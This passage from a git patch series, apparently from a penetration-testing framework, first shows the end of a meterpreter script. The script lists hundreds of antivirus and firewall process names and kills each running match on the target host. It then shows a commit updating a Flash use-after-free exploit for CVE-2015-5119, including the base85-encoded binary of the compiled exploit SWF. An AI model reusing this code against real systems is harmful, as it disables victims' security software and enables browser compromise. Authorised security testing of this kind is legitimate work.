svchostc.exe + svchosts.exe + svshost.exe + sweep95.exe + sweepnet.sweepsrv.sys.swnetsup.exe + symproxysvc.exe + symtray.exe + sysedit.exe + system.exe + system32.exe + sysupd.exe + taskmg.exe + taskmo.exe + taskmon.exe + taumon.exe + tbscan.exe + tc.exe + tca.exe + tcm.exe + tds-3.exe + tds2-98.exe + tds2-nt.exe + teekids.exe + tfak.exe + tfak5.exe + tgbob.exe + titanin.exe + titaninxp.exe + tracert.exe + trickler.exe + trjscan.exe + trjsetup.exe + trojantrap3.exe + tsadbot.exe + tvmd.exe + tvtmd.exe + undoboot.exe + updat.exe + update.exe + upgrad.exe + utpost.exe + vbcmserv.exe + vbcons.exe + vbust.exe + vbwin9x.exe + vbwinntw.exe + vcsetup.exe + vet32.exe + vet95.exe + vettray.exe + vfsetup.exe + vir-help.exe + virusmdpersonalfirewall.exe + vnlan300.exe + vnpc3000.exe + vpc32.exe + vpc42.exe + vpfw30s.exe + vptray.exe + vscan40.exe + vscenu6.02d30.exe + vsched.exe + vsecomr.exe + vshwin32.exe + vsisetup.exe + vsmain.exe + vsmon.exe + vsstat.exe + vswin9xe.exe + vswinntse.exe + vswinperse.exe + w32dsm89.exe + w9x.exe + watchdog.exe + webdav.exe + webscanx.exe + webtrap.exe + wfindv32.exe + whoswatchingme.exe + wimmun32.exe + win-bugsfix.exe + win32.exe + win32us.exe + winactive.exe + window.exe + windows.exe + wininetd.exe + wininitx.exe + winlogin.exe + winmain.exe + winnet.exe + winppr32.exe + winrecon.exe + winservn.exe + winssk32.exe + winstart.exe + winstart001.exe + wintsk32.exe + winupdate.exe + wkufind.exe + wnad.exe + wnt.exe + wradmin.exe + wrctrl.exe + wsbgate.exe + wupdater.exe + wupdt.exe + wyvernworksfirewall.exe + xpf202en.exe + zapro.exe + zapsetup3001.exe + zatutor.exe + zonalm2601.exe + zonealarm.exe +} + + client.sys.process.get_processes().each do |x| + if (avs.index(x['name'].downcase)) + print_status("Killing off #{x['name']}...") + client.sys.process.kill(x['pid']) + end + end +end + + + +end From b504f0be8ed8bad4be8c4e935eb99a18f6528b9f Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 15 Jul 2015 18:18:04 -0500 Subject: [PATCH 0791/1013] Update adobe_flash_hacking_team_uaf --- data/exploits/CVE-2015-5119/msf.swf | Bin 29417 -> 49715 bytes .../source/exploits/CVE-2015-5119/Exploit.as | 21 ++- .../exploits/CVE-2015-5119/Exploiter.as | 152 +++++++----------- .../source/exploits/CVE-2015-5119/MyClass.as | 25 +-- .../browser/adobe_flash_hacking_team_uaf.rb | 14 +- 5 files changed, 89 insertions(+), 123 deletions(-) diff --git a/data/exploits/CVE-2015-5119/msf.swf b/data/exploits/CVE-2015-5119/msf.swf index 6c2d91cdcc18d1dce6aebf1f909d867b72007e9c..f083d2aa4b6e102f6558ee4971854744abac8d2f 100755 GIT binary patch literal 49715 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 